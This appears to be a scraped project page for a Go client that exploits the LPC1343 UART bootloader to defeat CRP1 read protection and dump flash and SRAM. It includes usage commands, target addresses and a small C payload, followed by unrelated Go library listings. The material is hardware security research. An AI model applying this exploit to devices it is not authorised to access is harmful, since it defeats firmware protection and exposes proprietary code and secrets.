Minimal UART client in Golang that dumps LPC1343 chips that are locked at CRP1.

Howdy y'all,

This is a quick and dirty client for the UART bootloader of the LPC1343, and probably other bootloaders in that chip family. This client and shellcode are my own, but prior art is described in Fill Your Boots by Herrewegen, Oswald, Garcia, and Temeiza, and it is from their excellent paper that I first learned of the vulnerability.

This exploit does not work in the stricter CRP levels, but only CRP1.

--Travis Goodspeed

Wiring

Pull the BLD_E pin high to enable the UART bootloader, and on devices which also have USB, be sure to pull P0_3 low to enter UART, rather than USB mode. If your target enumerates as a USB Mass Storage device, you are not pulling P0_3 properly and the UART will be silent.

I've been using a 5V FTDI cable from a junk drawer, wired into an Olimex LPC-P1343 devboard from Digikey. GND, TX, and RX go into the proper pins of the UEXT connector, and VCC runs to the appropriate pin of the voltage regulator.

Usage

The client is written in Golang, and ought to work on any platform supported by Aaron Jacobs' go-serial library. In Linux, you might need to add your user to the dialout group.

host% go get github.com/travisgoodspeed/lpc13-exploit
host% lpc13-exploit --help
Usage of lpc13-exploit:
  -U    Force-unlock the chip with a priveledge escalation exploit.
  -fd string
        Download Flash to a file.
  -g string
        Go to address. (0x3CF9)
  -p string
        COMM port. (default "/dev/ttyUSB0")
  -r int
        Baud rate. (default 57600)
  -sd string
        Download SRAM to a file.
  -u    Unlock.
  -v    Verbose mode.

The -u switch performs the write-safety unlock, which is a prerequisite to the exploit and anything else that writes to RAm or Flash. The -U switch exploits the chip to drop from CRP1 to an unlocked state. After the device is unlocked and unprotected, you can run -sd an -fd to dump RAM and Flash. -v will log every transaction to the console, which is handy in debugging.

This command dumps images of both SRAM and Flash from a locked chip on ttyUSB0.

host% lpc13-exploit -p /dev/ttyUSB0 -u -U -sd sram-10000000.bin -fd flash-00000000.bin
Connected to LPC1343FHN33, bootloader 2.5.
UID=13131f25 534d0000 5c0d3674 f5000004
Reading 0x2000 bytes from 0x10000000.
Warning, checksum at 0x10000384 should be 102918 and not 102919.  This is normal for SRAM.
Writing them to sram-10000000.bin.
Wrote 8192 bytes.
Reading 0x8000 bytes from 0x00000000.
Writing them to flash-00000000.bin.
Wrote 32768 bytes.

Limitations

Target addresses are currently hardcoded to bootloader version 2.5. While most chips in the family are thought to be vulnerable, I've only tested this on the LPC1343FHN33.

This tool doesn't yet support writing to Flash memory. This won't be hard to add, but in the meantime you can use Martin Maurer's lpc21isp client.

This tool doesn't yet support dumping the mask ROM, because that's not an allowed range for the bootloader even in an unlocked chip. Until support is added, you can dump the ROM by JTAG. See Domen Puncer Kugler's lpc13xx_boot_analysis project for an example disassembly of the ROM.

Theory of Operation

The UART bootloader works by first writing into an SRAM buffer using the W command, and then copying that buffer over to a Flash block using the C command. In CRP1, reading the device is not allowed, but new code may still be written.

When protected, W prohibits writing beneath 0x10000200, where global variables of the bootloader reside, but the callstack is much higher in memory.

We first write a small C program to 0x10000300 in SRAM, which does little more before returning than poke a 0 into a global variable at 0x10000184 that stores a copy of the protection word from Flash. It returns by calling the bootloader's main loop at 0x1fff0fbd, starting a new session with higher privileges.

extern int crp_level_ram;    //0x10000184
extern void cmd_mainloop();  //0x1fff0fbd

int main(){
  //Disable the protections.
  crp_level_ram=0;

  //Call back into the bootloader.
  cmd_mainloop();

  //cmd_mainloop never returns, but this can't hurt.
  return 0;
}

From then on, all bootloader commands run as normal, except that they believe the chip to be unlocked.

Similar Resources

Golang source code parsing, usage like reflect package

gotype Golang source code parsing, usage like reflect package English 简体中文 Usage API Documentation Examples License Pouch is licensed under the MIT Li

Dec 9, 2022

Golang library to act on structure fields at runtime. Similar to Python getattr(), setattr(), hasattr() APIs.

go-attr Golang library to act on structure fields at runtime. Similar to Python getattr(), setattr(), hasattr() APIs. This package provides user frien

Dec 16, 2022

Composable HTML components in Golang

Composable HTML components in Golang

daz Composable HTML components in Golang Daz is a "functional" alternative to using templates, and allows for nested components/lists Also enables tem

Oct 3, 2022

Meteoric golang nitro sniper, 0.1/0.5s claim time.

Meteoric golang nitro sniper, 0.1/0.5s claim time.

Meteoric golang nitro sniper, 0.1/0.5s claim time.

Apr 3, 2021

Golang bindings for GDAL

Golang bindings for GDAL Goals Godal aims at providing an idiomatic go wrapper around the GDAL library: Function calls return a result and an error.

Dec 16, 2022

psutil for golang

gopsutil: psutil for golang This is a port of psutil (https://github.com/giampaolo/psutil). The challenge is porting all psutil functions on some arch

Dec 30, 2022

Cross platform locale detection for Golang

go-locale go-locale is a Golang lib for cross platform locale detection. OS Support Support all OS that Golang supported, except android: aix: IBM AIX

Aug 20, 2022

A Go (golang) library for parsing and verifying versions and version constraints.

go-version is a library for parsing versions and version constraints, and verifying versions against a set of constraints. go-version can sort a collection of versions properly, handles prerelease/beta versions, can increment versions, etc.

Jan 9, 2023

A port of the parser from graphql-js into golang

gqlparser This is a parser for graphql, written to mirror the graphql-js reference implementation as closely while remaining idiomatic and easy to use

Dec 27, 2022
Comments
  • Accessing the Secret Flash

    Accessing the Secret Flash

    A secret flash are is documented in the lpc13xx_boot_analysis) project. We should add support for quickly flipping Flash over to that memory for dumping.

  • Dumping ROM

    Dumping ROM

    When porting the exploit to new chips, some offsets must be extracted from ROM. To avoid requiring JTAG for this step, it would be nice to add support for reading ROM by writing a small program into SRAM with W and then executing it with G to copy the ROM into SRAM and then dump it.

  • Writing to Flash

    Writing to Flash

    Close this issue when we support loading a block of flash into SRAM with W, then copying it into Flash with C. This will make the client useful as a normal bootloader, and not just for dumping.

Minict is a minimal container runtime written in Go.

Minict Minict is a minimal container runtime written in Go. It was made mainly for learning purposes and is intended to be as simple as possible.

Oct 31, 2022
GoLang-based client-side circuit breakers and helpers

Overview Example library for circuit breaking in GoLang. Written to support a blog post on https://www.wojno.com. Use this library in your SDK's to pr

Dec 5, 2021
This is Go library for building GraphQL client with gqlgen

gqlgenc What is gqlgenc ? This is Go library for building GraphQL client with gqlgen Motivation Now, if you build GraphQL api client for Go, have choi

Jan 7, 2023
This project contains an example that showcases different features from the official Go Client for Elasticsearch
This project contains an example that showcases different features from the official Go Client for Elasticsearch

Elasticsearch for Gophers This project contains an example that showcases different features from the official Go Client for Elasticsearch that you ca

Oct 12, 2022
Utility functions for work with the Kubernetes Go-Client

go-k8s-utils This repository contains utils for the work with Kubernetes, in specific with the go-client library. Testing This package contains utils

Dec 14, 2022
Drone eReg: Demo client application for the PKI server's built-in UAV registry

UAV e-Registration: Demo UAV Registry Client A client to register UAVs in the built-in demo UAV registry of the UAVreg-PKI-server. Installation and Us

Jan 5, 2022
Goridge is high performance PHP-to-Golang codec library which works over native PHP sockets and Golang net/rpc package.
Goridge is high performance PHP-to-Golang codec library which works over native PHP sockets and Golang net/rpc package.

Goridge is high performance PHP-to-Golang codec library which works over native PHP sockets and Golang net/rpc package. The library allows you to call Go service methods from PHP with a minimal footprint, structures and []byte support.

Dec 28, 2022
memresolver is an in-memory golang resolver that allows to override current golang Lookup func literals

mem-resolver memresolver is an in-memory golang resolver that allows to override current golang Lookup func literals How to use it Create your custom

Jun 23, 2022
Govalid is a data validation library that can validate most data types supported by golang

Govalid is a data validation library that can validate most data types supported by golang. Custom validators can be used where the supplied ones are not enough.

Apr 22, 2022
Code Generation for Functional Programming, Concurrency and Generics in Golang

goderive goderive derives mundane golang functions that you do not want to maintain and keeps them up to date. It does this by parsing your go code fo

Dec 25, 2022